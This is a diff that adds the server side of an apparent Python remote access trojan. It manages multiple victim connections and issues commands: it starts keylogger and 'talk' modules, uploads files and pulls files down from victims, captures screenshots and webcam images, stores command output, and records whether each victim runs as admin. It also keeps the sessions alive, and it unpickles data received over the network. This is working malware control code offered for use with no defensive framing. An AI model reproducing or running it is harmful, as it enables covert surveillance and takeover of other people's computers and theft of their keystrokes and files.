+ setup_directory(dirs)
+ threading.Thread(target=Keylogger, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Keylogger', conn[2]], daemon=True).start()
+ except:
+ print(f'{self.theme[1]}Keylogger failed to run (server).{Style.RESET_ALL}', end='')
+ if target is None:
+ continue
+ else:
+ Server.filter_client = None
+ break
+
+ # Talk
+ elif Server.msg[:4].lower() == 'talk':
+ try:
+ if Server.msg[5:9].lower() == 'kill':
+ print(f'{self.theme[1]}{set_talk_settings(Server.msg[10:])}{Style.RESET_ALL}', end='')
+ if target is None:
+ continue
+ else:
+ Server.filter_client = None
+ break
+
+ dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Talk']
+ setup_directory(dirs)
+ threading.Thread(target=Talk, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Talk', conn[2]], daemon=True).start()
+ except:
+ print(f'{self.theme[1]}Talk failed to run (server).{Style.RESET_ALL}', end='')
+ if target is None:
+ continue
+ else:
+ Server.filter_client = None
+ break
+
+ # Upload
+ if Server.msg[:6].lower() == 'upload':
+ try:
+ dirs = ['Data', 'Uploads']
+ setup_directory(dirs)
+ args = Server.msg[7:]
+ if Server.msg[-2:].lower() == '-e':
+ args = Server.msg[7:-3]
+ with open(f'{os.getcwd()}/{dirs[-1]}/{args}', 'rb') as f:
+ pickled_msg = pickle.dumps({'message': Server.msg, 'image': f.read()})
+ compressed_msg = zlib.compress(pickled_msg, 1)
+ encrypted_msg = Server.encrypt.do_encrypt(compressed_msg)
+ final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg
+ conn[0].send(final_msg)
+ except:
+ print(f'{self.theme[1]}Uploading {args} failed, please try again.{Style.RESET_ALL}', end='')
+ if target is None:
+ continue
+ else:
+ print('\n')
+ Server.filter_client = None
+ break
+
+ # Note
+ elif Server.msg[:4].lower() == 'note':
+ try:
+ note = Server.msg[5:].split('=>')
+ assert len(note) == 2
+ if note[0] == '':
+ note[0] = 'global'
+ if note[1] == '':
+ raise Exception('Note message is empty.')
+ dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Notes']
+ setup_directory(dirs)
+ with open(f'{os.getcwd()}/{dirs[-1]}/{note[0].strip()}.txt', 'a') as f:
+ f.write(f'{note[1].strip()} [{time.strftime("%Y-%m-%d %H:%M-%S")}]\n')
+ print(f'{self.theme[1]}Note{Style.RESET_ALL}{self.theme[3]} {note[0].strip()}.txt{Style.RESET_ALL}{self.theme[1]} written to complete!', end='')
+ except:
+ print(f'{self.theme[1]}Writing note failed, please try again.', end='')
+ if target is None:
+ continue
+ else:
+ print('\n')
+ Server.filter_client = None
+ break
+
+ # Whoami
+ elif Server.msg.lower() == 'whoami':
+ info = ''
+ for typez, item in conn[4]:
+ info += f'\n{self.theme[1]}{typez}: {Style.RESET_ALL}{self.theme[3]}{item}{self.theme[1]}'
+ print(f'{self.theme[1]}USER: {self.theme[3]}{conn[2]}{Style.RESET_ALL}{self.theme[1]}\nADMIN: {self.theme[3]}{conn[3]}{Style.RESET_ALL}{self.theme[1]}\nIP: {Style.RESET_ALL}{self.theme[3]}{conn[1][0]}{Style.RESET_ALL}{self.theme[1]}\nPORT: {Style.RESET_ALL}{self.theme[3]}{conn[1][1]}{Style.RESET_ALL}{info}', end='')
+ if target is None:
+ continue
+ else:
+ print('\n')
+ Server.filter_client = None
+ break
+
+ # Session time
+ elif Server.msg.lower() == 'time':
+ print(f'{self.theme[1]}Session Start: [{Style.RESET_ALL}{self.theme[0]}{Server.sessionTime}{Style.RESET_ALL}{self.theme[1]}]{Style.RESET_ALL}')
+ print(f'{self.theme[1]}Current time: [{Style.RESET_ALL}{self.theme[2]}{timer()}{Style.RESET_ALL}{self.theme[1]}]{Style.RESET_ALL}', end='')
+ if target is None:
+ continue
+ else:
+ print('\n')
+ Server.filter_client = None
+ break
+
+ # Clear
+ elif Server.msg.lower() == 'clear' or Server.msg.lower() == 'cls':
+ clear_screen()
+ if target is None:
+ Server.session_clear_screen = True
+ continue
+ else:
+ Server.filter_client = None
+ break
+
+ # Exit
+ elif Server.msg.lower() == 'exit' or Server.msg.lower() == 'quit':
+ print(f'{self.theme[2]}Session start: [{Style.RESET_ALL}{self.theme[0]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}')
+ print(f'{self.theme[2]}Session end: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}')
+ print(f'{self.theme[4]}{conn[2]}\'s session quit successfully!\n{Style.RESET_ALL}')
+ # Reset filter client
+ Server.filter_client = None
+ break
+
+ # Send to client
+ else:
+ conn[0].send(final_msg)
+
+ # Receive from client
+ while True:
+ # Recived buffer
+ client_msg = conn[0].recv(81920)
+
+ # New msg
+ if Server.new_msg:
+ Server.msg_len = int(client_msg[:Server.headersize])
+ Server.new_msg = False
+
+ # Append to full_msg
+ Server.full_msg += client_msg
+
+ # Recived full msg
+ if len(Server.full_msg)-Server.headersize == Server.msg_len:
+ decrypted_msg = Server.encrypt.do_decrypt(Server.full_msg[Server.headersize:])
+ decompressed_msg = zlib.decompress(decrypted_msg)
+ client_msg = pickle.loads(decompressed_msg)['message'].replace('ÿ', ' ')
+ pickled_data = pickle.loads(decompressed_msg)
+ result = f'{self.theme[1]}{client_msg}{Style.RESET_ALL}'
+
+ # Download
+ if Server.msg[:8].lower() == 'download':
+ try:
+ assert pickled_data['download']
+ dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Downloads']
+ setup_directory(dirs)
+ args = Server.msg[9:]
+ if Server.msg[-2:].lower() == '-e':
+ args = Server.msg[9:-3]
+ with open(f'{os.getcwd()}/{dirs[-1]}/{args}', 'wb') as f:
+ f.write(pickled_data['download'])
+ if Server.msg[-2:].lower() == '-e':
+ Popen(f'{os.getcwd()}/{dirs[-1]}/{args}', shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
+ except:
+ pass
+ finally:
+ print(result, end='')
+
+ # Download screenshot
+ elif Server.msg.lower() == 'screenshot' or Server.msg.lower() == 'screenshot -s':
+ try:
+ dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Screenshots']
+ setup_directory(dirs)
+ fn = time.strftime('%Y-%m-%d (%H-%M-%S).png')
+ img = Image.fromarray(pickled_data['screenshot'], 'RGB')
+ img.save(f'{os.getcwd()}/{dirs[-1]}/{fn}')
+ if Server.msg[-2:].lower() == '-s':
+ img.show()
+ except:
+ pass
+ finally:
+ print(result, end='')
+
+ # Download webcam screenshot
+ elif Server.msg[:6].lower() == 'webcam':
+ try:
+ dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Webcam']
+ setup_directory(dirs)
+ fn = time.strftime('%Y-%m-%d (%H-%M-%S).png')
+ img = Image.fromarray(pickled_data['webcam'])
+ b, g, r = img.split()
+ img = Image.merge('RGB', (r, g, b))
+ img.save(f'{os.getcwd()}/{dirs[-1]}/{fn}')
+ if Server.msg[-2:].lower() == '-s':
+ img.show()
+ except:
+ pass
+ finally:
+ print(result, end='')
+
+ # Save stdout & as an image
+ elif stdout_save[-5:].lower() == '-b -i' or stdout_save[-5:].lower() == '-i -b':
+ try:
+ dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout/Images']
+ setup_directory(dirs)
+ fn = time.strftime('%Y-%m-%d (%H-%M-%S)')
+ # Text
+ with open(f'{os.getcwd()}/{dirs[-2]}/{stdout_save[:-6]}--{fn}.txt', 'wb') as f:
+ f.write(bytes(client_msg, self.encoding))
+ # Image
+ image = text_image(client_msg)
+ image.show()
+ image.save(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-6]}--{fn}.png')
+ print(result, end='')
+ except:
+ print(f'{self.theme[1]}Failed to backup command & image result.\n\n{Style.RESET_ALL}', end='')
+
+ # Save stdout
+ elif stdout_save[-2:].lower() == '-b':
+ try:
+ dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout']
+ setup_directory(dirs)
+ fn = time.strftime('%Y-%m-%d (%H-%M-%S).txt')
+ with open(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-3]}--{fn}', 'wb') as f:
+ f.write(bytes(client_msg, self.encoding))
+ print(result, end='')
+ except:
+ print(f'{self.theme[1]}Failed to backup command result.\n\n{Style.RESET_ALL}', end='')
+
+ # Save stdout as an image
+ elif stdout_save[-2:].lower() == '-i':
+ try:
+ dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout/Images']
+ setup_directory(dirs)
+ fn = time.strftime('%Y-%m-%d (%H-%M-%S).png')
+ image = text_image(client_msg)
+ image.show()
+ image.save(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-3]}--{fn}')
+ print(result, end='')
+ except:
+ print(f'{self.theme[1]}Failed to backup image result.\n\n{Style.RESET_ALL}', end='')
+
+ # Print stdout
+ else:
+ if stdout:
+ print(result, end='')
+
+ # Reset
+ Server.new_msg = True
+ Server.msg_len = 0
+ Server.full_msg = b''
+ break
+ except KeyboardInterrupt:
+ print(f'{self.theme[4]}Keyboard interrupt{Style.RESET_ALL}')
+ if target is None:
+ continue
+ else:
+ break
+ except TimeoutError:
+ print(f'{self.theme[4]}Your session has timed out, because of inactivity,\nor by having submitted an empty response.\n{Style.RESET_ALL}')
+ # Reset filter client
+ Server.filter_client = None
+ break
+ except KeyError:
+ # Reset filter client
+ Server.filter_client = None
+ break
+ except:
+ if stdout:
+ print(f'{self.theme[0]}Session start: [{Server.sessionTime}]{Style.RESET_ALL}{Style.RESET_ALL}')
+ print(f'{self.theme[1]}Session end: [{timer()}]{Style.RESET_ALL}')
+ print(f'{self.theme[4]}\nLost connection to client\n{Style.RESET_ALL}')
+ # Reset filter client
+ Server.filter_client = None
+ if target is not None:
+ return True
+ break
+ if target is not None:
+ if stdout:
+ print(end='\n\n')
+ Server.filter_client = None
+ break
+
+
+ """
+ To send simple text message, not handling for
+ any modules or special commands like screenshot
+ or download.
+ """
+ def send_message(self, conn, message):
+ pickled_msg = pickle.dumps({'message': message})
+ compressed_msg = zlib.compress(pickled_msg, 1)
+ encrypted_msg = Server.encrypt.do_encrypt(compressed_msg)
+ final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg
+ conn.send(final_msg)
+
+ while True:
+ # Recived buffer
+ client_msg = conn.recv(81920)
+
+ # New msg
+ if Server.new_msg:
+ Server.msg_len = int(client_msg[:Server.headersize])
+ Server.new_msg = False
+
+ # Append to full_msg
+ Server.full_msg += client_msg
+
+ # Recived full msg
+ if len(Server.full_msg)-Server.headersize == Server.msg_len:
+ decrypted_msg = Server.encrypt.do_decrypt(Server.full_msg[Server.headersize:])
+ decompressed_msg = zlib.decompress(decrypted_msg)
+ client_msg = pickle.loads(decompressed_msg)['message']
+
+ # Reset
+ Server.new_msg = True
+ Server.msg_len = 0
+ Server.full_msg = b''
+ return client_msg
+
+
+ """
+ Doesn't skip printing out connection if an index is cut out of the list,
+ it also handles for long list. It handles for no connections & removing
+ dead connections. It also displays the correct index even after deleting
+ a connection before others in the list.
+
+ To achieve this:
+ * Set connection no None
+ * Set index to -1 for every deleted connection
+ * Handle for long flag
+ * Handle for 0 connections
+ """
+ def list_connections(self, l):
+ len_conns = len(Server.connections)
+ results = ''
+ i = 0
+ for index, conn in enumerate(Server.connections):
+ index += i
+ try:
+ x = self.session(self.getConn(index), True, 'aij4oaw4orn12u9w5ar7', False)
+ if x is not None:
+ raise Exception('Connection Error')
+ info = ''
+
+ if l:
+ for typez, item in Server.information[index]:
+ info += f'\n{self.theme[2]}{typez}{Style.RESET_ALL}{self.theme[2]}[{Style.RESET_ALL}{self.theme[3]}{item}{self.theme[2]}]'
+
+ if l and len_conns > 1:
+ info += '\n'
+
+ results += f'{self.theme[2]}{Server.usernames[index]}[{Style.RESET_ALL}{self.theme[3]}{index}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[index]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}{info}\n'
+ except:
+ Server.connections[index] = None
+ len_conns -= 1
+ i -= 1
+
+ for i, conn in enumerate(Server.connections):
+ if conn is None:
+ self.delete_client(i, Server.usernames[i])
+
+ counter = f'{self.theme[2]}Number of connected clients ({Style.RESET_ALL}{self.theme[3]}{len_conns}{Style.RESET_ALL}{self.theme[2]})\n{Style.RESET_ALL}{self.theme[3]}{"-" * (30 + len(str(len_conns)))}\n{Style.RESET_ALL}'
+
+ if len_conns == 0:
+ results = f'{results}{self.theme[1]}No clients connected\n{Style.RESET_ALL}'
+
+ if l and len_conns > 1:
+ print(f'{self.theme[2]}{counter}{results}{Style.RESET_ALL}', end='')
+ else:
+ print(f'{self.theme[2]}{counter}{results}{Style.RESET_ALL}')
+
+
+ """
+ Delete client is a vital method to clean up & remove
+ any unwanted connection, it's used all throughout the
+ program if the connection is lost or is wanted to be closed.
+ """
+ def delete_client(self, index, user):
+ if self.history:
+ now = time.strftime('%Y-%m-%d (%H-%M-%S)')
+
+ if user == '*':
+ for i, conn in enumerate(Server.connections):
+ dirs = ['Data', f'Data/{Server.usernames[i]}']
+ setup_directory(dirs)
+ with open(f'{os.getcwd()}/Data/{Server.usernames[i]}/History.txt', 'a') as f:
+ msg = f'DISCONNECTED: ({now})'
+ f.write(f'{msg}\n{"-" * len(msg)}\n')
+ else:
+ dirs = ['Data', f'Data/{user}']
+ setup_directory(dirs)
+ with open(f'{os.getcwd()}/Data/{user}/History.txt', 'a') as f:
+ msg = f'DISCONNECTED: ({now})'
+ f.write(f'{msg}\n{"-" * len(msg)}\n')
+
+ if self.console_notice:
+ now = time.strftime('%H:%M')
+ msg = ''
+ if user == '*' or index == ':':
+ msg = 'All clients disconnected.'
+ else:
+ msg = f'{Server.usernames[index]} Disconnected. ({now})\nAddress: {Server.addresses[index][0]}:{Server.addresses[index][1]}'
+ now = time.strftime('%H:%M')
+ Server.toaster.show_toast('Disconnection Notice!', msg, icon_path=None, duration=5, threaded=True)
+
+ if index == ':':
+ for connection in Server.connections:
+ connection.close()
+ del Server.connections[:]
+ del Server.addresses[:]
+ del Server.usernames[:]
+ del Server.priveldges[:]
+ del Server.information[:]
+ else:
+ try:
+ Server.connections[index].close()
+ except:
+ pass
+ del Server.connections[index]
+ del Server.addresses[index]
+ del Server.usernames[index]
+ del Server.priveldges[index]
+ del Server.information[index]
+
+
+ """
+ GetConn provides the complete data available for
+ a specific user with the index as the only criteria.
+ This method is passed in when calling session for
+ user specific interaction.
+ """
+ def getConn(self, target):
+ conn = Server.connections[target]
+ addr = Server.addresses[target]
+ username = Server.usernames[target]
+ privledge = Server.priveldges[target]
+ info = Server.information[target]
+ return (conn, addr, username, privledge, info)
+
+
+ """
+ KeepAlive provides data to be sent to every client in
+ order to prevent the socket being closed after inactivity.
+ This is vital especially when dealing with multiple clients
+ & would be alot of effort to keep them all alive manually.
+ Without this method most Windows sockets close after 10 minutes
+ of inactivity.
+ """
+ def keepAlive(self):
+ while True:
+ counter = 0
+
+ while counter < Server.keep_alive_timer:
+ time.sleep(1)
+ counter += 1
+
+ if counter == Server.keep_alive_timer:
+ for index, conn in enumerate(Server.connections):
+ if Server.addresses[index][1] != Server.filter_client:
+ try:
+ self.send_message(conn, 'aij4oaw4orn12u9w5ar7')
+ except:
+ self.delete_client(index, Server.usernames[index])
+ break
+
+
+ """
+ These three methods is simply queuing up & threading
+ the main methods of the Server class to work asynchronously.
+ """
+ def workers(self):
+ for _ in range(Server.threads):
+ threading.Thread(target=self.work, daemon=True).start()
+
+
+ def work(self):
+ while True:
+ work = Server.q.get()
+ if work == 1:
+ self.listen()
+ self.accept()
+ if work == 2:
+ self.shell()
+ Server.q.task_done()
+
+
+ def create_jobs(self):
+ for job in Server.jobs:
+ Server.q.put(job)
+ Server.q.join()
+
+
+"""
+ Instantiate the Server object with the parsed arguments
+ provided by the argparse module & run the neccesary
+ methods as long as it is ran from the main file.
+"""
+if __name__ == '__main__':
+ try:
+ db_data = get_module_data()
+ server = Server(db_data[1], db_data[2], args.username, args.theme, args.encoding, args.notice, args.email_notice.split(','), args.duplicates, args.whoami, args.history, args.banner, db_data[3].split(','))
+ server.workers()
+ server.create_jobs()
+ except:
+ os._exit(0) \ No newline at end of file